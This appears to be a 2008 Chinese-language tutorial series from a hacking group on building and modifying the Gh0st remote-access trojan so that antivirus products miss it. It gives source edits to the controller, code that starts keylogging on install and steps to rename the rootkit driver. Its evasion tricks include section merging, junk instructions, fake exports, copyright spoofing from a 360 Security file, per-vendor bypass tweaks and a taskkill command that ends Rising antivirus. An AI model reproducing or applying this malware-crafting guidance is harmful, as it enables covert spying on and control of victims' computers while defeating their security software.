**********************************************
暗安全技術小組(暗組) www.darkst.com
我們創造的不是技術,不是成果,而是我們的精神。
我們賦予暗組以靈魂,並將永遠延續。
無盡的黑暗,無盡的追求;
為技術而生,共享,自由。
**********************************************
————————————————————
第一課改后的源碼下載地址:
http://torrent.qupan.com/963588.html
————————————————————
教程下載地址:
http://torrent.qupan.com/963218.html
————————————————————
暗組Gh0st編譯免殺系列教程1_編譯前的准備工作
做教程之前先說明下,我自己也還不怎么懂VC++,只是把我知道的東西教給大家了,呵呵
大牛就飄過吧...
先做好以下步驟:
————————————————————————————
安裝vc++6.0
SDK包更新
安裝DDK2003(編譯驅動要用到這個)
去除硬盤鎖(硬盤鎖不是好玩的東西,所以還是注釋掉好了)
編譯生成
————————————————————————————
以上這些我就不多說了,網上也出來了不少這樣的教程
參考教程:
http://www.3800hk.com/donghua/f/24166.html
http://www.heibai.net/download/Soft/Soft_13829.htm
DDK下載址:
http://www.seegle.cn/temp/winxpddk.zip
SDK下載址:
http://www.namipan.com/d/VC98.rar/184e40de31642ee25251a35e1efcefbdc011226249be0e04
然后我們來改下界面吧,改的好看點 o(∩_∩)o...
1.把菜單欄顯示出來,把下面這個注釋掉就可以了
// 去掉菜單欄
m_pMainWnd->SetMenu(NULL);
————————————————————————————
2.
gh0st\MainFrm.cpp(改界面高度、寬度等)
BOOL CMainFrame.:PreCreateWindow(CREATESTRUCT& cs)
{
if( !CFrameWnd::PreCreateWindow(cs) )
return FALSE;
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
// cs.cx = 646;
cs.cx = 800; //改寬度
/*
if (((CGh0stApp *)AfxGetApp())->m_bIsQQwryExist) //存在QQwry.dat界面就加長100,注釋掉
{
cs.cx += 100;
}
*/
// cs.cy = 310;
cs.cy = 500; //改高度
cs.style. &= ~FWS_ADDTOTITLE;
cs.lpszName = "Gh0st 個人版"; //改名稱
return TRUE;
}
————————————————————————————
COLUMNSTRUCT g_Column_Data[] =
{
// {"ID", 48 },
{"上線ID", 48 },
// {"WAN", 102 },
{"廣域網IP", 102 },
// {"LAN", 102 },
{"局域網IP", 102 },
{"計算機名/備注", 107 },
{"操作系統", 128 },
{"CPU", 55 },
{"Ping", 40 },
// {"攝像頭", 51 },
{"視頻狀態", 60 },
// {"區域", 100 }
{"地理位置", 100 }
};
————————————————————————————
3.改彈出的提示
strToolTipsText.Format("上線主機信息:\n主機名: %s\nIP : %s\n系統: Windows %s", LoginInfo->HostName, IPAddress, strOS);
// strToolTipsText += "\nArea: ";
strToolTipsText += "\n地理位置:";
//m_TrayIcon.Create(this, WM_ICON_NOTIFY, "Running ....",
m_TrayIcon.Create(this, WM_ICON_NOTIFY, "正在運行 ....",
————————————————————————————
4.改彈出菜單(這樣改可以讓免殺的時候卸載服務端方便點)
IDR_LIST MENU DISCARDABLE
BEGIN
POPUP "MENU"
BEGIN
POPUP "主機管理(&S)"
BEGIN
MENUITEM "卸載(&U)", IDM_REMOVE
MENUITEM SEPARATOR
MENUITEM "斷開(&D)", IDM_DISCONNECT
MENUITEM "注銷(&L)", IDM_LOGOFF
MENUITEM "重啟(&R)", IDM_REBOOT
MENUITEM "關機(&S)", IDM_SHUTDOWN
END
MENUITEM SEPARATOR
MENUITEM "文件管理(&F)", IDM_FILEMANAGER
MENUITEM "屏幕控制(&C)", IDM_SCREENSPY
MENUITEM "鍵盤記錄(&K)", IDM_KEYBOARD
MENUITEM "遠程終端(&T)", IDM_REMOTESHELL
MENUITEM "系統管理(&M)", IDM_SYSTEM
MENUITEM "視頻查看(&V)", IDM_WEBCAM
MENUITEM "語音監聽(&W)", IDM_AUDIO_LISTEN
MENUITEM "下載執行(&D)", IDM_DOWNEXEC
MENUITEM "免殺更新(&U)", IDM_UPDATE_SERVER
POPUP "訪問網址(&V)"
BEGIN
MENUITEM "隱藏(&H)", IDM_OPEN_URL_HIDE
MENUITEM "顯示(&S)", IDM_OPEN_URL_SHOW
END
MENUITEM "清除日志(&C)", IDM_CLEANEVENT
MENUITEM "更改備注(&R)", IDM_RENAME_REMARK
MENUITEM SEPARATOR
MENUITEM "選擇全部(&A)", IDM_SELECT_ALL
MENUITEM "取消選擇(&U)", IDM_UNSELECT_ALL
END
END
————————————————————————————
5.斷開連接、注銷、重啟、關機的時候彈出警告,防止關機什么的時候什么都不提示
void CGh0stView::OnDisconnect()
{
if (MessageBox("確認斷開連接嗎? 斷開連接后,必須等待服務端重啟后才能控制對方了!", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition();
while (pos)
{
m_pListCtrl->DeleteItem(m_pListCtrl->GetNextSelectedItem(pos));
}
}
——————
void CGh0stView::OnLogoff()
{
if (MessageBox("確認注銷嗎?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_LOGOFF | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
void CGh0stView::OnReboot()
{
if (MessageBox("確認重啟嗎?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
void CGh0stView::OnShutdown()
{
if (MessageBox("確認關機嗎?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
return;
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_SHUTDOWN | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
}
————————————————————————————
6.安裝木馬后直接打開鍵盤記錄的方法:
安裝服務端后,判斷是否存在syslog.dat這個文件,如果有,則自動開啟離線記錄,如果沒有就默認不開啟鍵盤記錄。
在文件KernelManager.cpp里加入下面的代碼就可以了,來測試下是否安裝了木馬之后就打開了鍵盤記錄
//安裝木馬即開始鍵盤記錄
char strRecordFile[MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\syslog.dat");
DeleteFile(strRecordFile);
if (GetFileAttributes(strRecordFile) == -1)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
7.讓打開控制端的時候界面顯示在屏幕**,這個Gh0st打開之后老是顯示在做上角,不舒服,所以改下 ^_^
int CMainFrame.:OnCreate(LPCREATESTRUCT lpCreateStruct)
{
this ->CenterWindow(CWnd::GetDesktopWindow()); //加上這句話就可以了
...
8. 再改下文件生成和調用的地方,把sys、dll、exe都改到Bin目錄里去
原來的生成位置是這樣的:
Gh0st\Server\install\res\svchost.dll 這個是生成的dll文件
Gh0st\gh0st\res\install.exe 這個是生成的exe文件
其中svchost files是dll的工程
install files是exe的工程
dll生成位置:(生成的dll的名稱是和dll的輸出表有關的)
../install/res/svchost.dll //原來的輸出表里的dll名稱是svchost.dll
../bin/avcenter.dll //我們來改下生成的名稱和位置,生成的是avcenter.dll了吧,所以我們在免殺的時候,這個
//輸出表的dll名稱是可以亂改的,只是編譯的時候生成的名稱而已,不會影響功能
exe生成位置:
../gh0st/res/install.exe //原來的生成位置
../bin/install.exe
改了生成的位置之后還得改資源調用的位置,要不然還是在調用原來位置的dll和exe
dll資源調用:
//IDR_DLL BIN DISCARDABLE "res\\svchost.dll"
IDR_DLL BIN DISCARDABLE "..\\..\\bin\\avcenter.dll"
exe資源調用:
//IDR_BSS BSS DISCARDABLE "res\\install.exe"
IDR_BSS BSS DISCARDABLE "..\\bin\\install.exe"
sys資源調用:
//IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys"
IDR_SYS BIN DISCARDABLE "..\\..\\bin\\RESSDT.sys"
現在都生成到bin目錄里去了吧,這樣就方便了,省的到處去找生成的東西
還得把sys也復制到Bin目錄里去,編譯下看看
9.
最后就是改下圖標什么的啦,在這個目錄里(Gh0st\gh0st\res),自己去找合適的ico圖標來改吧。
呵呵,好了。其他的就自己想怎么改就怎么改吧,我就不多說了
洪流
2008.12.18
暗組Gh0st編譯免殺系列教程2_驅動文件編譯方法一
2008-12-20 07:58
********************************************** 暗安全技術小組(暗組) www.darkst.com 我們創造的不是技術,不是成果,而是我們的精神。 我們賦予暗組以靈魂,並將永遠延續。 無盡的黑暗,無盡的追求; 為技術而生,共享,自由。 **********************************************
暗組Gh0st編譯免殺系列教程2_驅動文件編譯方法1
命令行編譯驅動
1.改RESSDT字符串(一共5個地方)
先搜索RESSDT,改為什么都行,比如我改為avcenter
// RtlInitUnicodeString(&DerName,L"\\Device\\RESSDT"); RtlInitUnicodeString(&DerName,L"\\Device\\avcenter");
// RtlInitUnicodeString(&DerName2,L"\\??\\RESSDTDOS"); RtlInitUnicodeString(&DerName2,L"\\??\\avcenterDOS");
// hDriver = CreateFileA( "\\\\.\\RESSDTDOS", hDriver = CreateFileA( "\\\\.\\avcenterDOS",
//TARGETNAME=RESSDT //這個得搜索所有文件才可以搜索到了,這個是生成驅動的名稱 TARGETNAME=avcenter
//SOURCE=..\sys\RESSDT.sys(這里不能用注釋符號 ..\..\bin\RESSDT.sys表示生成到Bin目錄里去) SOURCE=..\..\bin\avcenter.sys
還得改下上個教程里sys資源調用: //IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys" IDR_SYS BIN DISCARDABLE "..\\..\\bin\\avcenter.sys"
2.然后再給驅動文件加點花指令,或者也可以再把那個DbgPrint前的注釋去掉
或者加個sprintf也可以:
#include <stdio.h> //先加個文件頭 sprintf("aaaaaaa", "bbbbbbbbb", 123);
反正改的越多殺軟就越難查殺
3.還可以合並下區段:合並區段是個很重要的方法,特別是在下個教程里你可以看到它的效果
#pragma comment(linker, "/merge:.rdata=.data ") //把.rdata區段合並到.data里去 #pragma comment(linker, "/merge:.text=.data ") //把.text區段合並到.data里去
合並后驅動文件的大小就由3K變成了2K了,這個還可以使你的木馬變小
4.
在命令行編譯驅動也有兩個方法,第二個方法快點...
—————————————————————————————————————————————————
改完后把Server里的sys文件夾復制到DDK安裝目錄里,然后在cmd里運行命令
cd\ (來到C盤根目錄) C:\WINDDK\2600\bin\setenv.bat C:\WINDDK\2600 chk (這個命令得看你的DDK安裝在哪) cd sys (進入sys目錄) build (編譯sys文件)
—————————————————————————————————————————————————
或者直接來到這里,進入sys文件夾去編譯
開始\Development Kits\Windows DDK 2600\Build Environments\Win XP Free Build Environment
—————————————————————————————————————————————————
改下輸入表的大小看看過瑞星不?
編譯生成之后再去看看sys文件里的字符串哪些變了
這樣改后還是有很多殺軟會殺的,再給驅動文件加個輸入表就可以免殺很多,但我現在還不會,呵呵
5.手動免殺其他殺軟
小紅傘:移動ntoskrnl.exe到驅動文件的最后
nod32:改子系統
瑞星:改輸出表大小為30
avg:填充掉文件頭上的那些東西
改后就剩下兩個殺軟殺了
.
.
教程下載地址: http://torrent.qupan.com/971151.html
.
|
暗組Gh0st編譯免殺系列教程3_驅動文件編譯方法二
2008-12-20 08:00
********************************************** 暗安全技術小組(暗組) www.darkst.com 我們創造的不是技術,不是成果,而是我們的精神。 我們賦予暗組以靈魂,並將永遠延續。 無盡的黑暗,無盡的追求; 為技術而生,共享,自由。 **********************************************
暗組Gh0st編譯免殺系列教程3_驅動文件編譯方法2
方法2:新建工程編譯驅動
接着上個教程來編譯驅動
1.新建工程,在avcenter目錄里添加sys的源碼文件,共3個【makefile、RESSDT.c、sources】
2.工程配置
3.把批處理文件MakeDrvr.bat,放到avcenter目錄里
4.工程設置
C:\Gh0st\avcenter\MakeDrvr C:\WINDDK\2600 C: C:\Gh0st\avcenter free -nmake /a
把sys文件生成到Bin目錄里去
..\..\bin\avcenter
5.編譯
卡巴的ssdt清除不掉...
.
.
教程下載地址: http://torrent.qupan.com/975876.html
.
|
.暗組Gh0st編譯免殺系列教程4_dll和exe編譯免殺過常見殺軟
2008-12-20 10:59
********************************************** 暗安全技術小組(暗組) www.darkst.com 我們創造的不是技術,不是成果,而是我們的精神。 我們賦予暗組以靈魂,並將永遠延續。 無盡的黑暗,無盡的追求; 為技術而生,共享,自由。 **********************************************
這個學期的期末考試完了,所以就把教程一口氣都做出來了...
暗組Gh0st編譯免殺系列教程4_dll和exe編譯免殺過常見殺軟
針對國內的殺軟,一般只要去研究怎么改字符串和輸出表就可以了,因為只有這些才會被它們追殺
覺得很多人用的編譯后根據文件特征碼,到源碼里找代碼的方法是很不明智的,那樣的源碼免殺不僅浪費時間,而且目的性太強
不要忘了我們源碼免殺的目的不再像特征碼免殺那樣了,我們要的效果是免殺的效果更好、免殺的時間更長
所以免殺的時候也不要去管代碼里的特征碼,只管字符串、輸出表、輸入表
代碼里的特征碼只要在源碼里稍微做點修改就會消失的
而對付國外的殺軟,不僅要研究字符串和輸出表,還得研究輸入表
1.區段合並法(區段合並后就過了很多了)
svchost files/svchost.cpp //#pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW") //把.rdata、.data合並到.text區段里去,/section:.text,ERW"這個是設置區段的讀寫權限
我們分別生成一個,再來比較下他們的區段,合並區段后,代碼的變化是巨大的,所以很多殺軟都不查殺了
但我們還得改下字符串,因為有些字符串被殺軟查殺
2.字符串分割法
下個教程里對付卡巴啟發會用到,這里就不提了
3.改字符串大小寫
這是個需要很大耐心,呵呵
自己慢慢去改吧,改的越多免殺的效果就越好、免殺也越長久
// if (strstr(lpURL, "http://") == NULL && strstr(lpURL, "https://") == NULL) if (strstr(lpURL, "HTTP://") == NULL && strstr(lpURL, "HTTPS://") == NULL) //這個不能改大小寫,改了不能用http上線了
4.加輸出表函數
其中ResetSSDT這個輸出表函數被卡巴啟發殺,下個教程講怎么改這個函數
extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[]); extern "C" __declspec(dllexport) bool ResetSSDT(); extern "C" __declspec(dllexport) bool whm(); extern "C" __declspec(dllexport) bool Rool();
輸出表的排列是按首字母順序排列的
extern "C" __declspec(dllexport) bool whm() { return false; } extern "C" __declspec(dllexport) bool Rool() { return false; }
5.改文件版權為360安全衛士里AntiActi.dll文件的版權(過金山清理專家、360安全衛士惡意掃描、360安全衛士木馬查殺)
替換掉.rc文件里的版權信息就可以了,exe文件得先給它加個版權
版權所在的文件: C:\Gh0st\Server\svchost\svchost.rc C:\Gh0st\Server\install\install.rc
6.搜索Sleep,加花
這里搜索Sleep的原因是Sleep是延時的,所以加幾個nop也可以起一點點的延時的作用吧
當然你也可以在其他地方加啦,看我怎么加吧(我就加3個nop的花了,大家可以加長點,因為nop加的多了會卡死)
__asm { nop }
汗 算了 不加了 老是卡死
7.改配置信息AAAAAA、CCCCCC // file.Write("AAAAAA", 6); file.Write("HHHHHH", 6); // lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA"); lpEncodeString = (char *)FindConfigString(hInstance, "HHHHHH"); // char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA"); char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "HHHHHH");
// file.Write("CCCCCC", 6); file.Write("XXXXXX", 6); // lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC"); lpServiceConfig = (char *)FindConfigString(hInstance, "XXXXXX");
8.過瑞星卡卡,呵呵,結束進程的,好像暴力了點,加在exe的入口就可以了
WinExec ("taskkill /f /t /im RSTray.exe", SW_HIDE);
好了 教程就到這吧 下個教程講過卡巴的啟發 呵呵
教程下載地址: http://torrent.qupan.com/978460.html
|